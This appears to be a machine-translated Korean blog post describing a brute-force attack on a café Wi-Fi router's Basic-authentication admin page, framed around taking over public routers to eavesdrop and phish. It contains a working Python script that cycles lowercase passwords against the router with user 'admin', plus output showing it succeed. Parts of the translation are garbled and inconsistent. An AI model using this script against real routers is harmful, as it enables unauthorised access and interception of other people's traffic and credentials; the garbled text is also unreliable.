공유기 관리 페이지의 블루스 공격

배경.


학교와 카페 등에서 제공하는 와이파이 네트워크는 이용자의 단말기도 192.168이다.X.1에서는 화면 관리 페이지를 여는 경우가 많습니다.물론 비밀번호는 필요하지만 블루스 공격(총공격)에 따라 비밀번호를 정할 때도 있다.이를 통해 관리 화면에 들어가 임의의 펌웨어를 배치해 조별 도청과 낚시 등을 마음대로 할 수 있다.네가 어제 갔던 카페에서 걸었던 SNS 비밀번호가 지금 아마 검은 그물에 노출되었을 것이다

개요


이번에는 ELCOM의 Basic 인증 관리 화면에 블루 펀치 공격을 설정하고 비밀번호를 확인해 봤다.

컨디션

  • Ubuntu 18.04
  • Python 3.6.9
  • 공격 전 확인


    개인이 운영하는 카페는 홈 와이파이 라우터를 접속점으로 제공한다.손님들은 메뉴에 적힌 비밀번호를 이용해서 와이파이에 접근한다.물론 공격자도 방문할 수 있다.
    공격자는 천천히 다음 명령을 내려 자신의 IP 주소를 확인한다.
    
    waru@waru-PC:~$ ifconfig
    wlo1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.2.100  netmask 255.255.255.0  broadcast 192.168.2.255
    
    나의 IP 주소는 192.168.2.100이다.
    라우터 관리 페이지의 URL은 반드시 "http://192.168.2.1"인 셈이다.대부분의 라우터가 서브넷 1에 관리 페이지를 구성했기 때문이다.
    브라우저에서 열면 다음과 같이 표시됩니다.

    이때도 [user:admin pass:admin]을 치는 등 접근할 수 있는 경우가 있지만 이번에는 안 된다.
    다음 코드의 번호입니다.

    코드


    사용자를 관리자에 고정시키고 문자 길이를 늘리는 동시에 소문자의 모든 조합을 순서대로 생성하며 사용자와pass로 접근하려는 코드를 사용합니다.
    router_admin_brute_force.py
    import requests
    import string
    import numpy as np
    
    target_ip = 'http://192.168.2.1/'
    
    def access(user: str, password: str):
        response = requests.get(target_ip, auth=(user, password))
        if response.status_code == 401:
            raise ConnectionError
        if "please try" in response.text:
            raise ConnectionError
    
    chars = ["0"] + list(string.ascii_lowercase)
    
    # ref:https://stackoverflow.com/questions/2267362/how-to-convert-an-integer-in-any-base-to-a-string
    digs = chars
    def int2base(x, base):
        digits = []
    
        while x:
            digits.append(digs[int(x % base)])
            x = int(x / base)
    
        digits.reverse()
    
        return ''.join(digits)
    
    i = 0
    while True:
        i += 1
        password = int2base(i,len(chars))
        try:
            access(user="admin", password=password)
        except:
            pass
        else:
            print(f"success:{password}")
            break
    
    

    실행 결과

    
    waru@waru-PC:~/Programs/router_hack$ python3 router_admin_brute_force.py 
    success:zzz
    
    zz라는 비밀번호를 지정했습니다."http://192.168.2.1"를 넣어 보세요.

    넣었어.그리고 끓여도 좋고 끓여도 좋고.

    고찰하다.


    이번에는 특별히 공유기에 zzz라는 짧은 비밀번호를 설정했지만 상기 코드의 특정 시간은 10분이다.그리고 큰 문자, 숫자, 특수 문자를 고려하지 않았는데 이런 것들을 더하면 실행 시간이 커지겠죠.그러나 이 같은 코드는 적합하지 않을 수 있기 때문에 시간적으로 비현실적인 공격 방법이라고 할 수는 없다.코드 분류 등을 진행하면 개선된 점을 발견할 수 있다.
    어쨌든 이번엔 끝이야.

    좋은 웹페이지 즐겨찾기